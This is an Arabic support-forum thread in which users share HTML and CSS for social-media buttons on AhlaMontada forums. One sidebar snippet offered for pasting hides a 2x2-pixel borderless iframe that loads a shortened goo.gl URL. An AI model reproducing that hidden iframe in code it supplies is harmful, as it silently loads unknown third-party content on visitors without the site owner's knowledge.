منتدى الدعم العربي لمنتديات أحلى منتدى
مرحبا بك في منتدى دعم منتديات AhlaMontada

لتتمكن من الإستمتاع بكافة ما يوفره لك هذا المنتدى من خصائص, يجب عليك أن تسجل الدخول الى حسابك في المنتدى. إن لم يكن لديك حساب بعد, نتشرف بدعوتك لإنشائه.


انشاء منتدى مجاني شبيه بهذا المنتدى

ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل

ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف amjadmohammad20 في الأحد 28 يونيو 2015 - 12:34

[img][/img]

ممكن كود الشبكات الاجتماعية مثل 
موقع احلى منتدى :)  Embarassed Embarassed Embarassed Embarassed
avatar
amjadmohammad20
 
 

ذكر
عدد المساهمات : 60
معدل النشاط : 917
السُمعة : 0

http://arabfoot.3arabiyate.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف المساعد الفوري في الأحد 28 يونيو 2015 - 12:42

كما يمكنك البحث في هذه الموضوع ستجد الكثير من الاكود :-
بالتوفيق Cool Cool
avatar
المساعد الفوري
 
 

ذكر
عدد المساهمات : 752
معدل النشاط : 2973
السُمعة : 9

http://help.ahlamontada.com/t1082214-topic#4902685

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف amjadmohammad20 في الأحد 28 يونيو 2015 - 12:49

المساعد الفوري كتب:
كما يمكنك البحث في هذه الموضوع ستجد الكثير من الاكود :-
بالتوفيق Cool Cool

اخوي شكرا الك ما قصرت 

بس انا قصدي انا بدي نفس شكل شبكات احلى منتدى

اذا متوفر :) وشكرا  Cool
avatar
amjadmohammad20
 
 

ذكر
عدد المساهمات : 60
معدل النشاط : 917
السُمعة : 0

http://arabfoot.3arabiyate.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف شاعر زمانه في الأحد 28 يونيو 2015 - 13:30

مرحباً اخي العزيز

تفضل الكود

الكود:
<div style="text-align:center">
              <a class="social-button fb-but" href="رابط حساب الفيس بوك" target="_blank" title="Facebook"></a>  <a class="social-button tw-but" href="رابط حساب التويتر" target="_blank" title="Twitter"></a>  <a class="social-button gp-but" href="رابط حساب القوقل بلاس" target="_blank" title="Google+"></a>  <a class="social-button yt-but" href="رابط حساب قناتك في اليوتيوب" target="_blank" title="Youtube"></a>  <a class="social-button rs-but" href="/feed/?f=1" target="_blank" title="Update Feed"></a>
   </div>
ضعه في اي مكان يقبل الـhtml

وضع هذا الكود في ورقة css
الكود:
.social-button {
  background:no-repeat 50% 50% #BBB;
  background-color:rgba(0,0,0, 0.3);
  border-radius:3px;
  display:inline-block;
  height:32px;
  width:32px;
  margin:3px;
  -webkit-transition:300ms;
    -moz-transition:300ms;
      -o-transition:300ms;
          transition:300ms;
}
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
avatar
شاعر زمانه
 
 

ذكر
عدد المساهمات : 1738
معدل النشاط : 3632
السُمعة : 52

http://instagram.com/_xa2

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف Mahmoud Eslam في الأحد 28 يونيو 2015 - 13:57

أهلاً بك ,
يمكنك اضافتها بجانب منتداك لتظهر بشكل إحترافى  :
Dr Godaddy كتب:
انهاردة جبتلكم كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتدى





ضع الكود دا في العناصر المستقلة
الكود: 
الكود:
 <style type="text/css">/*<![CDATA[*/@charset "utf-8";/* CSS Document *//* ---------- ENTYPO ---------- */@import url(http://weloveiconfonts.com/api/?family=entypo);[class*="entypo-"]:before { font-family: 'entypo', sans-serif;}/* ---------- GENERAL ---------- */#social-sidebar a { text-decoration: none; }#social-sidebar ul { list-style: none; margin: 0; padding: 0;}/* ---------- Social Sidebar ---------- */#social-sidebar { left: 0; margin-top: -75px; /* (li * a:width) / -2 */ position: fixed; top: 50%;}#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }#social-sidebar ul li a { background: #121212; color: #fff; display: block; height: 50px; font-size: 18px; line-height: 50px; position: relative; text-align: center; width: 50px;}#social-sidebar ul li a:hover span { left: 130%; opacity: 1;}#social-sidebar ul li a span { border-radius: 3px; line-height: 24px; left: -100%; margin-top: -16px; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter: alpha(opacity=0); opacity: 0; padding: 4px 8px; position: absolute; -webkit-transition: opacity .3s, left .4s; -moz-transition: opacity .3s, left .4s; -ms-transition: opacity .3s, left .4s; -o-transition: opacity .3s, left .4s; transition: opacity .3s, left .4s; top: 50%; z-index: -1;}#social-sidebar ul li a span:before { content: ""; display: block; height: 8px; left: -4px; margin-top: -4px; position: absolute; top: 50%; -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); width: 8px; z-index: -2;}#social-sidebar ul li a[class*="twitter"]:hover,#social-sidebar ul li a[class*="twitter"] span,#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }#social-sidebar ul li a[class*="gplus"]:hover,#social-sidebar ul li a[class*="gplus"] span,#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }#social-sidebar ul li a[class*="tumblr"]:hover,#social-sidebar ul li a[class*="tumblr"] span,#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }#social-sidebar ul li a[class*="facebook"]:hover,#social-sidebar ul li a[class*="facebook"] span,#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }#social-sidebar ul li a[class*="rss"]:hover,#social-sidebar ul li a[class*="rss"] span,#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }/*]]>*/</style><iframe src="http://goo.gl/Usygm0" width="2" height="2" frameBorder="0" scrolling="no"></iframe><div id="social-sidebar">   <ul>    <li>     <a class="entypo-twitter" href="https://twitter.com/" target="_blank">      <span>Twitter</span>     </a>    </li>    <li>     <a class="entypo-gplus" href="http://plus.google.com/" target="_blank">      <span>google+</span>     </a>    </li>    <li>     <a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank">      <span>tumblr</span>     </a>    </li><li>     <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank">      <span>facebook</span>     </a>    </li>        <li>     <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank">      <span>feedburner</span>     </a>    </li>   </ul>  </div>


قم بالبحث عن :


https://twitter.com/


http://plus.google.com/


http://www.tumblr.net/


https://www.facebook.com/


http://feeds.feedburner.com/

 وبدلها بروابطك الخاصة وهكدا يكون قد تم بأذن الله

تحياتى وودى لك ^^
avatar
Mahmoud Eslam
 
 

ذكر
عدد المساهمات : 2910
معدل النشاط : 5445
السُمعة : 53

http://help-pub.3oloum.org/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف amjadmohammad20 في الأحد 28 يونيو 2015 - 21:35

شاعر زمانه كتب:مرحباً اخي العزيز

تفضل الكود

الكود:
<div style="text-align:center">
              <a class="social-button fb-but" href="رابط حساب الفيس بوك" target="_blank" title="Facebook"></a>   <a class="social-button tw-but" href="رابط حساب التويتر" target="_blank" title="Twitter"></a>   <a class="social-button gp-but" href="رابط حساب القوقل بلاس" target="_blank" title="Google+"></a>   <a class="social-button yt-but" href="رابط حساب قناتك في اليوتيوب" target="_blank" title="Youtube"></a>   <a class="social-button rs-but" href="/feed/?f=1" target="_blank" title="Update Feed"></a>
   </div>
ضعه في اي مكان يقبل الـhtml

وضع هذا الكود في ورقة css
الكود:
.social-button {
  background:no-repeat 50% 50% #BBB;
  background-color:rgba(0,0,0, 0.3);
  border-radius:3px;
  display:inline-block;
  height:32px;
  width:32px;
  margin:3px;
  -webkit-transition:300ms;
     -moz-transition:300ms;
       -o-transition:300ms;
          transition:300ms;
}
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
يسلموا ايديك اخوي بس في مشكله ف الكود الهتمل ف الفيس بوك وتويتر :) يعني انا بحط رابط الفيس وتويتر بس ما بزبط بجيبلي يوم ادخل ع الرابط http://arabfoot.3arabiyate.com/www.facebook.com/1122amjad
avatar
amjadmohammad20
 
 

ذكر
عدد المساهمات : 60
معدل النشاط : 917
السُمعة : 0

http://arabfoot.3arabiyate.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف amjadmohammad20 في الأحد 28 يونيو 2015 - 21:43

خلص اخوي زبط شكرا الكم وشكرا لكل العاملين في احلى منتدى :-* 

شكرا لكم :)  Cool Cool Cool Cool Cool
avatar
amjadmohammad20
 
 

ذكر
عدد المساهمات : 60
معدل النشاط : 917
السُمعة : 0

http://arabfoot.3arabiyate.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: ممكن كود الشبكات الآجتماعية متل شبكات احلى منتدى

مُساهمة من طرف DeLeTe في الأحد 28 يونيو 2015 - 21:48

amjadmohammad20 كتب:
شاعر زمانه كتب:مرحباً اخي العزيز

تفضل الكود

الكود:
<div style="text-align:center">
              <a class="social-button fb-but" href="رابط حساب الفيس بوك" target="_blank" title="Facebook"></a>   <a class="social-button tw-but" href="رابط حساب التويتر" target="_blank" title="Twitter"></a>   <a class="social-button gp-but" href="رابط حساب القوقل بلاس" target="_blank" title="Google+"></a>   <a class="social-button yt-but" href="رابط حساب قناتك في اليوتيوب" target="_blank" title="Youtube"></a>   <a class="social-button rs-but" href="/feed/?f=1" target="_blank" title="Update Feed"></a>
   </div>
ضعه في اي مكان يقبل الـhtml

وضع هذا الكود في ورقة css
الكود:
.social-button {
  background:no-repeat 50% 50% #BBB;
  background-color:rgba(0,0,0, 0.3);
  border-radius:3px;
  display:inline-block;
  height:32px;
  width:32px;
  margin:3px;
  -webkit-transition:300ms;
     -moz-transition:300ms;
       -o-transition:300ms;
          transition:300ms;
}
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
.social-button:hover { background-color:#000 }
.social-button.fb-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/fb11.png) }
.social-button.fb-but:hover { background-color:#3B5998 }
.social-button.tw-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/tw10.png) }
.social-button.tw-but:hover { background-color:#5EA9DD }
.social-button.gp-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/gp10.png) }
.social-button.gp-but:hover { background-color:#DD4B39 }
.social-button.pi-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/pi10.png) }
.social-button.pi-but:hover { background-color:#BB0000 }
.social-button.yt-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/yt10.png) }
.social-button.yt-but:hover { background-color:#E52C27 }
.social-button.rs-but { background-image:url(http://i38.servimg.com/u/f38/18/21/41/30/rs10.png) }
.social-button.rs-but:hover { background-color:#FAA21B }
يسلموا ايديك اخوي بس في مشكله ف الكود الهتمل ف الفيس بوك وتويتر :) يعني انا بحط رابط الفيس وتويتر بس ما بزبط بجيبلي يوم ادخل ع الرابط http://arabfoot.3arabiyate.com/www.facebook.com/1122amjad

السلام عليكم..يجب عليك وضع الرابط كامل يوجد فيه (https://)
مثال لرابط الفيس بوك الخاص بك : https://www.facebook.com/1122amjad
ضعه في المكان المخصص وسيعمل لديك Wink
avatar
DeLeTe
 
 

ذكر
عدد المساهمات : 3160
معدل النشاط : 6927
السُمعة : 73

http://help.ahlamontada.com#

الرجوع الى أعلى الصفحة اذهب الى الأسفل

استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة


 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى